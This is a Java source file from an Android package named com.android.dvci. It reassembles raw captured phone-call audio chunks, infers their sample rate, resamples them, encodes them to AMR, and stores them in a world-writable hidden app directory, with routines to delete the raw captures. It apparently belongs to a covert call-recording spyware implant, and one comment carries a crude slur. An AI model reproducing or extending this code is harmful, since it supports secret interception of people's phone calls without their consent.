package com.android.dvci.util; import android.media.AmrInputStream; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.Configuration; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.resample.Resample; import com.android.mm.M; import com.musicg.wave.Wave; import com.musicg.wave.WaveHeader; import java.io.ByteArrayInputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.nio.ByteBuffer; import java.nio.ByteOrder; import java.util.Date; // HIC SUNT RICCHIONES public class AudioEncoder { private static final String TAG = "AudioEncoding"; private static String audioDirectory = "l4/"; private static String audioStorage; private boolean call_finished; private int last_epoch = 0, first_epoch = 0, data_size = 0; private int sampleRate = 44100; private String rawFile; private byte[] rawPcm; public AudioEncoder(String f) { rawFile = f; try { rawPcm = decodeRawChunks(); } catch (IOException e) { if (Cfg.EXCEPTION) { Check.log(e); } } } public int getInferredSampleRate() { float min = Float.MAX_VALUE; int bitrates[] = {8000, 11025, 16000, 22050, 32000, 44100, 48000, 88200, 96000, 176400, 192000, 352800, 384000}; int calc = -1; int delta = last_epoch - first_epoch; if (delta <= 0 || data_size <= 0) { if (Cfg.DEBUG) { Check.log(TAG + "(getInferredSampleRate): delta is " + delta + " (first_epoch: " + first_epoch + ", last_epoch: " + last_epoch + "), data_size is: " + data_size + ", bitrate cannot be guessed"); } return -1; } int bitrate = (data_size / 2) / delta; // 16-bit PCM // Calculate the closest possible real value, yep it can be optimized: // if t > min: return prev_bitrate for (int b : bitrates) { float t = (float) bitrate / (float) b; t = Math.abs(1.0f - t); if (t < min) { calc = b; min = t; } } if (Cfg.DEBUG) { Check.log(TAG + "(getInferredSampleRate): bitrate declared: " + bitrate + " bitrate inferred: " + calc); } // If we are in a certain difference range, we can reliably assume that // declared bitrate it truthful // Watch it, because declared bitrate might be (and will often be) // completely different from the real one. float ref, bit; if (bitrate > calc) { ref = (float) bitrate; bit = (float) calc; } else { ref = (float) calc; bit = (float) bitrate; } float perc = (1.0f - (bit / ref)) * 100.0f; if (perc > 5.0f) { if (Cfg.DEBUG) { Check.log(TAG + "(getInferredSampleRate): declared bitrate of " + bitrate + " seems to be false (skew: " + (int) perc + "%), assuming: " + calc); } return calc; } else { if (Cfg.DEBUG) { Check.log(TAG + "(getInferredSampleRate): declared bitrate of " + bitrate + " seems to be thrutful (skew: " + (int) perc + "%), using it"); } return bitrate; } } public boolean encodetoAmr(String outFile, byte[] raw) { if (raw == null || raw.length == 0) { if (Cfg.DEBUG) { Check.log(TAG + "(encodetoAmr): Cannot encode null data"); } return false; } File file = new File(outFile); if (Cfg.DEBUG) { Check.log(TAG + "(encodetoAmr): Encoding raw to: " + file.getName()); } try { InputStream inStream = new ByteArrayInputStream(raw); AmrInputStream aStream = new AmrInputStream(inStream); file.createNewFile(); OutputStream out = new FileOutputStream(file); out.write(0x23); out.write(0x21); out.write(0x41); out.write(0x4D); out.write(0x52); out.write(0x0A); byte[] buf = new byte[4096]; int len; while ((len = aStream.read(buf)) > 0) { out.write(buf, 0, len); } out.close(); aStream.close(); } catch (Exception e) { if (Cfg.EXCEPTION) { Check.log(e); } return false; } return true; } public byte[] resample(boolean realRate) { int bitRate; if (rawPcm == null) { if (Cfg.DEBUG) { Check.log(TAG + "(resample): No decoded audio data found"); } return null; } // Ideally the sample rate should be the same for every chunk... // Ideally... if (realRate == true) { bitRate = getAllegedSampleRate(); } else { bitRate = getInferredSampleRate(); // Borderline case in which we are unable to infer the real value if (bitRate < 0) { bitRate = getAllegedSampleRate(); } } WaveHeader header = Resample.createHeader(bitRate, rawPcm.length); // Resample audio Wave wave = Resample.resampleRaw(header, rawPcm); if(wave == null){ if (Cfg.DEBUG) { Check.log(TAG + " (resample), Invalid raw sample, samplerate is zero"); } return new byte[]{}; } return wave.getBytes(); } private byte[] decodeRawChunks() throws IOException { int end_of_call = 0xF00DF00D; int epoch, streamType, blockLen; int discard_frame_size = 8; first_epoch = last_epoch = data_size = 0; rawPcm = null; sampleRate = 44100; // header format - each field is 4 bytes LE: // epoch : streamType : sampleRate : blockLen File raw = new File(rawFile); FileInputStream in = null; try { in = new FileInputStream(raw); byte data[] = new byte[(int) raw.length()]; in.read(data, 0, (int) raw.length()); ByteBuffer d = ByteBuffer.wrap(data); d.order(ByteOrder.LITTLE_ENDIAN); data = null; if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): Parsing " + raw.getName()); } // First round calculates the bitrate and real size of audio data while (d.remaining() > 0) { int cur_epoch = d.getInt(); d.position(d.position() + discard_frame_size); // Discard streamType and // sampleRate blockLen = d.getInt(); if (blockLen < 0 || blockLen > d.remaining()) { if (Cfg.DEBUG) { Check.log(TAG + " (decodeRawChunks), OUT of BAND, blockLen: "+ blockLen + " remaining: "+ d.remaining()); } break; } // Discarded bytes must be discarded in the next loop too if (blockLen != discard_frame_size) { if (first_epoch == 0) { first_epoch = cur_epoch; } data_size += blockLen; // Get blockLen last_epoch = cur_epoch; } if (Cfg.DEBUG) { //Check.log(TAG + "(encodeChunks): blockLen: " + blockLen + // " remaining: " + d.remaining() + " current position: " + // d.position() + " next position: " + (d.position() + // blockLen)); } d.position(d.position() + blockLen); } // Let's start again d.rewind(); if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): raw data size: " + data_size + " bytes, file length: " + (last_epoch - first_epoch) + " seconds"); } rawPcm = new byte[data_size]; int pos = 0; call_finished = false; // Second round extracts only the audio data while (d.remaining() > 0) { epoch = d.getInt(); if(Cfg.DEBUG){ Check.asserts(epoch <= last_epoch, "Last_epoch not correct"); } streamType = d.getInt(); sampleRate = d.getInt(); //pid = d.getInt(); blockLen = d.getInt(); if (Cfg.DEBUG) { // Check.log(TAG + "(encodeChunks): epoch: " + epoch + // " streamType: " + streamType + " sampleRate: " + // sampleRate + " blockLen: " + blockLen); } if (streamType == end_of_call && blockLen == 0 || blockLen < 0 || blockLen > d.remaining()) { if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): end of call reached for " + raw.getName()); } call_finished = true; if (d.remaining() > 0) { if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): ***WARNING*** end of call reached and we still have " + d.remaining() + " remaining bytes!"); } } continue; } if (blockLen == discard_frame_size) { if (Cfg.DEBUG) { Check.log(TAG + "(encodeChunks): skipping misterious frame (length: " + blockLen + " bytes)"); } d.position(d.position() + blockLen); continue; } byte[] rawPcmBlock = new byte[blockLen]; d.get(rawPcmBlock); System.arraycopy(rawPcmBlock, 0, rawPcm, pos, rawPcmBlock.length); pos += blockLen; } return rawPcm; } finally { if (in != null) { in.close(); } } } public void removeRawFile() { if (rawFile.length() == 0) { if (Cfg.DEBUG) { Check.log(TAG + "(removeRawFile): file name not set, cannot remove"); } return; } AutoFile raw = new AutoFile(rawFile); if (Cfg.DEBUG) { Check.log(TAG + "(removeRawFile): " + rawFile); } raw.delete(); } public int getCallStartTime() { if (Cfg.DEBUG) { Check.log(TAG + " (getCallStartTime): " + new Date(first_epoch * 1000L)); } return first_epoch; } public int getCallEndTime() { return last_epoch; } public int getCallDastaSize() { return data_size; } public int getAllegedSampleRate() { return sampleRate; } public boolean isLastCallFinished() { return call_finished; } static public boolean createAudioStorage() { // Create storage directory audioStorage = Status.getAppContext().getFilesDir().getAbsolutePath() + "/" + audioDirectory; if (Path.createDirectory(audioStorage) == false) { if (Cfg.DEBUG) { Check.log(TAG + " (createAudioStorage): audio storage directory cannot be created"); //$NON-NLS-1$ } return false; } else { Execute.chmod("777", audioStorage); if (Cfg.DEBUG) { Check.log(TAG + " (createAudioStorage): audio storage directory created at " + audioStorage); //$NON-NLS-1$ } return true; } } static public String getAudioStorage() { if (audioStorage.length() == 0) { createAudioStorage(); } return audioStorage; } static public boolean deleteAudioStorage() { audioStorage = Status.getAppContext().getFilesDir().getAbsolutePath() + "/" + audioDirectory; boolean ret = false; File f = new File(audioStorage); if (f.exists() && f.isDirectory()) { for (File file : f.listFiles()) { file.delete(); } ret = true; } return ret; } static private String getAudioDirectoryName() { return audioDirectory; } }